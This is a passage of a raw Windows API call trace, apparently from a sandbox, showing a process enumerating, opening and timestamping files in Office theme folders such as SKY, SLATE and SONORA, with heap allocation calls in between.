Flags=0x8, Size=0x100) returned 0x9f9f40 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff7a0 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ffbc0 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff7c0 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ffcc8 [0061.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff7e0 [0061.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ffdd0 [0061.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.450] GetLastError () returned 0x12 [0061.450] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.450] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.451] GetLastError () returned 0x12 [0061.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.451] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.451] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0061.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.469] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa01ba8 [0061.469] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa01ba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa01ba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01ba8) returned 1 [0061.469] NtClose (Handle=0x16c) returned 0x0 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.470] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.470] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.470] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff800 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ffed8 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.470] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff820 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fffe0 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff840 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa000e8 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff860 [0061.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa001f0 [0061.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.471] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.471] GetLastError () returned 0x12 [0061.471] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.471] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.471] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.472] GetLastError () returned 0x12 [0061.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.472] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.472] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0061.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.517] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa01ba8 [0061.517] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa01ba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa01ba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa01ba8) returned 1 [0061.517] NtClose (Handle=0x160) returned 0x0 [0061.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa002f8 [0061.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.517] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c 